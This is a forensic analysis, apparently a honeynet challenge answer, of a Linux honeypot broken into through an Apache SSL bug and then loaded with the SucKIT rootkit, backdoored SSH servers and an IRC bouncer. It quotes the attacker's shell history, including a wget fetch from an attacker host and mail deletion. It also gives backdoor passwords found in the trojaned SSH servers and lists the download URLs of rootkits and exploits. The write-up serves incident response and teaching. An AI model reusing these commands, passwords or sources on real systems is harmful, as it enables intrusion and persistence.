SSH server 1.2.32
-r--r--r--   1 root     root            5 Sun Aug 10 15:32:16 2003 /lib/.x/s/port
3128
-rwxr-xr-x   1 root     root        28632 Sun Aug 10 15:32:16 2003 /lib/.x/sk
SucKIT version 1.3b
-rw-r--r--   1 root     root            6 Sun Aug 10 15:32:17 2003 /lib/.x/s/pid
25241: pid of xopen
-rw-r--r--   1 root     root         2442 Sun Aug 10 15:32:17 2003 /lib/.x/install.log
SucKIT install log
-rw-r--r--   1 root     root          222 Sun Aug 10 15:32:17 2003 /lib/.x/hide.log
SucKIT log
-rwxr-xr-x   1 apache   apache       1223 Sun Aug 10 15:32:17 2003 /lib/.x/.boot
shell script that mails information to skiZophrenia_sick@yahoo.com

/lib/.x/.boot has been run:

/lib/.x/.boot has been moved from /var/tmp/.boot (Search for inode 104396 under Autopsy)

15:40 FTP to izolam.net

Extract from /lib/.x/s/mfs

============================================================
Time: Sun Aug 10 15:40:47     Size: 100
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:40:50     Size: 80
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:40:56     Size: 60
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:41:08     Size: 40
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:41:32     Size: 20
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

Some FTP has been done to 63.99.224.38. We don't know what have been downloaded.

15:49 sslstop

[root@sbm79 root]# tar tvzf sslstop.tar.gz
drwxrwxr-x tvc/tvc           0 2002-10-16 13:30:29 sslstop/
-rw-rw-r-- tvc/tvc          87 2002-10-15 12:31:50 sslstop/Makefile
-rw-rw-r-- tvc/tvc        2794 2002-10-15 13:10:57 sslstop/sslport.c
-rw-rw-r-- tvc/tvc        1809 2002-10-15 13:00:10 sslstop/sslstop.c

/root/sslstop.tar.gz has been moved from /lib/.x/s.tgz sslstop modifies httpd.conf to disable the SSL support. sslport modifies httpd.conf to change the default SSL port (443) to something else. Because HAVE_SSL has been replaced by HAVE_SSS in /etc/httpd/conf/httpd.conf, sslstop must have been run.

-rw-r--r--   1 root     root         1627 Sun Aug 10 15:49:47 2003 /root/sslstop.tar.gz
-rw-rw-r--   1 500      500            87 Sun Aug 10 15:50:46 2003 /root/sslstop/Makefile
-rw-rw-r--   1 500      500          1809 Sun Aug 10 15:50:46 2003 /root/sslstop/sslstop.c
-rwxr-xr-x   1 root     root        16452 Sun Aug 10 15:52:00 2003 /root/sslstop/sslstop
-rwxr-xr-x   1 root     root        17351 Sun Aug 10 15:52:00 2003 /root/sslstop/sslport
-rw-------   1 root     root          235 Sun Aug 10 15:54:04 2003 /.bash_history
-rw-r--r--   1 root     root        50851 Sun Aug 10 15:54:18 2003 /etc/httpd/conf/httpd.conf
-rw-rw-r--   1 500      500          2794 Sun Aug 10 15:54:48 2003 /root/sslstop/sslport.c
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9  21510  21511 23289  23292 23302

15:57 Installation of psyBNC

-rw-r--r--   1 root     root       312188 Sun Aug 10 15:57:12 2003 /etc/opt/psyBNC2.3.1.tar.gz
drwxr-xr-x   2 root     root         8192 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/help
drwxr-xr-x   2 root     root         4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/lang
drwxrwxr-x   3 root     root         4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/menuconf
drwxrwxr-x   3 root     root         4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/scripts
-rw-r--r--   1 root     root        31507 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/CHANGES
-rw-------   1 root     root        17982 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/COPYING
-rw-r--r--   1 root     root         2661 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/FAQ
-rw-r--r--   1 root     root         2129 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/Makefile
-rw-r--r--   1 root     root        35785 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/README
-rw-r--r--   1 root     root        15738 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/SCRIPTING
-rw-r--r--   1 root     root          509 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/TODO
-rw-------   1 root     root          929 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/config.h
-rwxrwxr-x   1 root     root          369 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/psybncchk
-rw-------   1 1004     490          3901 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/targets.mak
drwxrwxr-x   2 root     root         4096 Sun Aug 10 16:01:17 2003 /etc/opt/psybnc/tools
-rw-r--r--   1 root     root          729 Sun Aug 10 16:01:17 2003 /etc/opt/psybnc/makefile.out
-rwxr-xr-x   1 root     root        16856 Sun Aug 10 16:01:18 2003 /etc/opt/psybnc/makesalt
drwxr-xr-x   2 root     root         4096 Sun Aug 10 16:01:41 2003 /etc/opt/psybnc/src

psyBNC has been downloaded from www.psychoid.lam3rz.de/psybnc. psyBNC is a kind of IRC proxy you can used to be always online.

16:02:46 psyBNC is run

-rw-------   1 root     root            6 Sun Aug 10 16:02:46 2003 /etc/opt/psybnc/psybnc.pid
-rwxr-xr-x   1 root     root       214636 Sun Aug 10 16:02:36 2003 /etc/opt/psybnc/initd
-rw-------   1 root     root         2622 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/log/psybnc.log
-rw-r--r--   1 root     root           47 Sun Aug 10 16:04:15 2003 /usr/lib/libice.log
root     15119  0.0  1.3  2296 1240 ?        S    16:02   0:00 initd

Extract of /usr/lib/libice.log

proxyscan.undernet.org => 192.168.1.79 [23]
?k

Extract from /lib/.x/s/mfs

============================================================
Time: Sun Aug 10 16:04:13     Size: 44
Path: proxyscan.undernet.org => 192.168.1.79 [23]
------------------------------------------------------------

From /var/log/secure

Aug 10 16:04:14 localhost xinetd[732]: START: telnet pid=15169 from=193.109.122.5

Extract from psybnc.log

Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100
Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind)
Sun Aug 10 16:02:46 :Loading all Users..
Sun Aug 10 16:02:46 :No Users found.
Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)
Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic
Sun Aug 10 16:03:36 :User sic () has no server added
Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:04:47 :Hop requested by sic. Quitting.
Sun Aug 10 16:04:47 :User sic got disconnected from server.
Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
===============================================================================================
-rw-------   1 root     root          512 Sun Aug 10 16:32:18 2003 /lib/.x/s/r_s
RandomSeed for SSH server xopen
drwxrwxr-x   2 root     root         4096 Sun Aug 10 17:50:39 2003 /etc/opt/psybnc/log
drwxrwxr-x   2 root     root         4096 Sun Aug 10 17:52:12 2003 /etc/opt/psybnc/motd
-rw-------   1 root     root         1384 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/psybnc.conf
-rw-------   1 root     root         1384 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/psybnc.conf.old
Sun Aug 10 16:06:08 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:24 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:25 :User sic logged in.
Sun Aug 10 16:06:57 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:59 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:59 :User sic logged in.
Sun Aug 10 16:07:26 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:07:34 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:07:47 :User sic logged in.
Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667.
Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:08:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro)
===============================================================================================
Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:49:47 :User sic logged in.
Sun Aug 10 17:50:39 :New User:redcode (^C4,1redCode^C8Chicken^C) added by sic
Sun Aug 10 17:50:51 :User redcode () has no server added
Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:51:22 :User redcode logged in.
Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) Reason: Closing Link: killme by mesa.az.us.undernet.org (Sorry, your connection class is full - try again later or try another server)
Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 18:00:49 :User redcode quitted (from sanido-08.is.pcnet.ro)
===============================================================================================

Using psyBNC, the user sic has connected from sanido-09.is.pcnet.ro to fairfax.va.us.undernet.org, an IRC server. He has created an account named redcode.

18:58 ssh connection

Extract from /var/log/secure

Aug 10 18:58:33 localhost sshd[15287]: Did not receive identification string from 202.85.165.46.

20:30 VMware virtual system is suspended

System context has been saved for analysis.

1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

2. Explain the impact that your actions had on the running system.

See above.

3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Banner
(using telnet)
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd
SSH-1.99-OpenSSH_2.9p2
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 732/xinetd
finger @192.168.1.79
Login     Name       Tty      Idle  Login Time   Office     Office Phone
root      root       tty1           Aug  9 14:35
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 732/xinetd
220 sbm79.dtc.apu.edu FTP server (Version wu-2.6.1-18) ready.
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 732/xinetd
Red Hat Linux release 7.2 (Enigma)
Kernel 2.4.7-10 on an i686

This server is operated for authorized users only. All use
is subject to monitoring. Unauthorized users are subject
to prosecution. If you're not authorized, LOG OFF NOW!

login:
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D
SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! )
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1
tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen
SSH-1.5-1.2.32
udp 0 0 0.0.0.0:3049 0.0.0.0:* LISTEN 25239/xopen backdoor from ELF_GMON.A virus

The suspect PID are

4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

tcp        0      0 192.168.1.79:65336      213.154.118.200:1188    ESTABLISHED 15119/initd
tcp        0      9 192.168.1.79:1149       64.62.96.42:6667        ESTABLISHED 15119/initd
tcp        0      0 192.168.1.79:1146       199.184.165.133:6667    ESTABLISHED 15119/initd

psyBNC has been contacted by 213.154.118.200 (sanido-08.is.pcnet.ro) and is connected to IRC server 64.62.96.42 (mesa.az.us.undernet.org) and 199.184.165.133 (undernet.irc.rcn.net).

5. How many instances of an SSH server were installed and at what times?

With Autopsy, search the string SSH_ORIGINAL_COMMAND, this string is present in SSH server.

FragmentOffsetFileInstallation date
389381340/lib/.x/s/xopenSun Aug 10 15:32:16 2003
398253370rootkit/udhss in rootkit.tar (Deleted, Fragment 39390-39943 ?)
400452538? (Deleted)
1130672394/usr/share/doc/openssh-2.9p2/ChangeLog
1143722250/usr/lib/sp0Sun Aug 10 15:30:54 2003
115419810rootkit/udhss (deleted)
1383353960/usr/sbin/sshdmatches its original checkum (93289e1e63b0b798117f64818a3b0ad7), the rpm has been installed Mon 14 Jul 2003 01:54:37 PDT (rpm -qi openssh-server). Creation date is Sun Aug 10 13:33:57 2003, but it's because chattr has been run on the directory
201213586/usr/bin/smbd -D, copy of sand/ava1 (MD5: 0c9fd2ff1740a4ae5b4a1a3a82846f44)Sun Aug 10 13:33:33 2003

Fragment 115419 belongs to an unknown SSH server binary, but SSH_ORIGINAL_COMMAND has been found at the same block offset (810) in rootkit/udhss. It's why I think fragment 115419 was used by rootkit/udhss.

[kmaster@christophe sotm29]$ strings -fa -t d abc/nou sand/ava1 sand/sshd rootkit/udhss adore/sp0|grep "SSH_ORIGINAL_COMMAND"
abc/nou:  156234 SSH_ORIGINAL_COMMAND
sand/ava1:  156234 SSH_ORIGINAL_COMMAND
sand/sshd:  156234 SSH_ORIGINAL_COMMAND
rootkit/udhss:  152362 SSH_ORIGINAL_COMMAND
adore/sp0:  166090 SSH_ORIGINAL_COMMAND
[kmaster@christophe sotm29]$ echo "156234 % 4096"|bc
586
[kmaster@christophe kmaster]$ echo "152362 % 4096"|bc
810
[kmaster@christophe sotm29]$ echo "166090 % 4096"|bc
2250

rk.tar.gz and abc.tgz have been downloaded on the server. rk.tar.gz has been decompressed to install /usr/bin/smbd -D but abc.tgz doesn't seem to have been used. There are potentially two other SSH servers:

6. Which instances of the SSH servers from question 5 were run?

The following SSH servers are running (ps):

7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

/lib/.x/s/xopen

/lib/.x/s/xopen is an SSH server version 1.2.32 listening on TCP 3128. ./strace -f -p 25241 -e trace=file on server side don't reveal any suspect file activity. But there is the backdoor created by ELF_GMON.A virus on UDP 3049, this backdoor is open when xopen is run as root. The virus detects if it is traced by calling ptrace (man 2 ptrace) to avoid detection by strace, ltrace or similar tools.

/usr/lib/sp0

No backdoor found except the one from ELF_RST.B.

[kmaster@christophe sotm29]$ strings -a adore/sp0|less
/lib/ld-linux.so.2
__gmon_start__
...
/bin/sh
xxxxyyyyzzzz
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
ppp0
eth0
...
snortdos
tory

rootkit/udhss

[root@sbm79 root]# ./ltrace ./udhss -d -f /usr/lib/sp0_cfg -p 1236
debug: sshd version 1.2.27 [i586-unknown-linux]
debug: Initializing random number generator; seed file /usr/lib/sp0_seed
log: Server listening on port 1236.
log: Generating 768 bit RSA key.
Generating p:  ...............++ (distance 308)
Generating q:  ...............++ (distance 292)
Computing the keys...
Testing the keys...
Key generation complete.
log: RSA key generation complete.

ltrace has been unable to trace it! gdb 5.2 can't open this file. This file has been extract from a tar file I have recovered from the harddisk image. But this tar archive is damaged.

[kmaster@christophe sotm29]$ strings -a rootkit/udhss
/lib/ld-linux.so.2
__gmon_start__
...
invalid distance code
invalid literal/length code
OSF
...

Strings __gmon_start__ and OSF are presents. This file seems to be infected by ELF_GMON.A even if the antivirus hasn't detected it.

/usr/sbin/sshd

Original SSH server

/usr/bin/smbd -D

/usr/bin/smbd -D is an SSH server listening on TCP 2003. On the honeypot, strace the SSH server (strace -p PID_of_SSH_server). Connect to the server with SSH to the port 2003.

strace
+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
+----------------------------------- ----- --- -- -- -

smbd -D saves login and password in /usr/lib/libshlog. This file doesn't exist. Next step has been to search for a backdoor. I have track runtime library calls from this SSH server using ltrace.

[root@sbm79 log]# /root/ltrace /usr/bin/smbd\ -D  -d
...
crypt("pipo", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$r2C6cpOLe69xF6qOQvKE"...
strcmp("$1$YTukJ7rA$r2C6cpOLe69xF6qOQvKE"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = -1
strcmp("pipo", "rossignol")                       = -1

Bingo, there is a backdoor. The password is rossignol (nightingale in French, also French name of a lockpicking tool).

sand/sshd

[root@sbm79 root]# ./ltrace ./sshd -d -p 1235
...
crypt("root", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...
strcmp("$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = 0
fopen("/usr/lib/libsh.so", "a")                   = 0x08089fd8
fprintf(0x08089fd8, "+-[ User Login Incoming ]-------"...) = 49
fprintf(0x08089fd8, "| username: %s password: %s%s ho"..., "root", "root", "") = 54
fprintf(0x08089fd8, "+-------------------------------"...) = 56
fclose(0x08089fd8)                                = 0
strcmp("root", "axion")                           = 1

There is a backdoor with password axion and passwords are logged in /usr/lib/libsh.so.

abc/nou

[root@sbm79 root]# ./ltrace ./nou -d -p 1234
...
crypt("root", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...
strcmp("$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = 0
fopen("/usr/lib/libshlog", "a")                   = 0x08089fd0
fprintf(0x08089fd0, "+-[ User Login Incoming ]-------"...) = 49
fprintf(0x08089fd0, "| username: %s password: %s%s ho"..., "root", "root", "") = 54
fprintf(0x08089fd0, "+-------------------------------"...) = 56
fclose(0x08089fd0)                                = 0
strcmp("root", "UpguarD")                         = 1

There is a backdoor with password UpguarD and passwords are logged in /usr/lib/libshlog.

8. Which system executables (if any) were trojaned and what configuration files did they use?

TrojanConfiguration file
/usr/bin/top
  • /etc/psdevtab
  • /dev/ttyop
/bin/netstat
  • /dev/ttyoa
/bin/ls
  • /dev/ttyof
/bin/ps
  • /etc/psdevtab
  • /dev/ttyop
/sbin/ifconfig
/etc/rc.d/init.d/functions run /usr/bin/crontabs -t1 -X53 -p
/etc/rc.d/rc.sysinit run kflushd but there is no such file.

rk.tar.gz: trojan, sniffer, SSH server

9. How and from where was the system likely compromised?

Break-in from 213.154.118.219 using Apache SSL handshake bug. Using this vulnerability, he has gained remote access as the apache user. Extract from fragment 114381, Apache: ssl_engine_log,

[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

Some new files are owned by the user apache but the hacker has gained root privilege using /dev/shm/k, a Linux kernel ptrace/kmod local root exploit.

Bonus Question: What nationality do you believe the attacker(s) to be, and why?

The hacker has used several Romanian computers:

In shell scripts, psyBNC configuration (/etc/opt/psybnc/psybnc.conf), there are a lot of reference to redcode. Running strings on memory brings the URL http://redCode.strobe.org. It's the web site of the hacker team: "...sunt doar un purtator de cunostinte, care a reusit sa inteleaga cum functioneaza cu adevarat lumea si sunt dispus ca experienta si cunostintele mele sa foloseasca celor care cu nerabdare cauta adevarata libertate..." The website have some links to redcode.go.ro.

The attacker IRC nickname is sic, he is part of an Romanian hacker team called redCode.

Annex

SourceAnalysisDescription
http://irinel1979.go.ro/a.tgza.tgzLinux kernel ptrace/kmod local root exploit
http://geocities.com/gavish19/abc.tgzabc.tgzSSH server
http://irinel1979.go.ro/er.tgzer.tgzshkit-v4-internal release 2002, a SSH server backdoor
http://izolam.net/godsgodsadore LKM and SSH server
http://inel1979.go.ro/mass2.tgzmass2.tgzHTTPS scanner, exploit for Apache SSL handshake bug
http://geocities.com/mybabywhy/rk.tar.gzrk.tar.gztrojan, sniffer, SSH server
http://geocities.com/mybabywhy/rk.tar.gz (don't exist anymore)/ HD fragment 39390-39943rootkit.tarSSH server, security scanner, exploits...
http://izolam.net/sslstop.tar.gzsslstop.tgzModify Apache configuration
http://www.i-need-ftp.as.ro/ttt.tgzttt.tgzPlasmatik-v1-internal release 2002, a SSH server backdoor similar to shkit
http://hysteria.sk/sd/sk/SucKIT, Linux-i386 kernel-based rootkit
http://www.psychoid.lam3rz.de/psybncpsyBNC, an IRC bouncer/proxy/...

Harddisk fragments

Data files

Links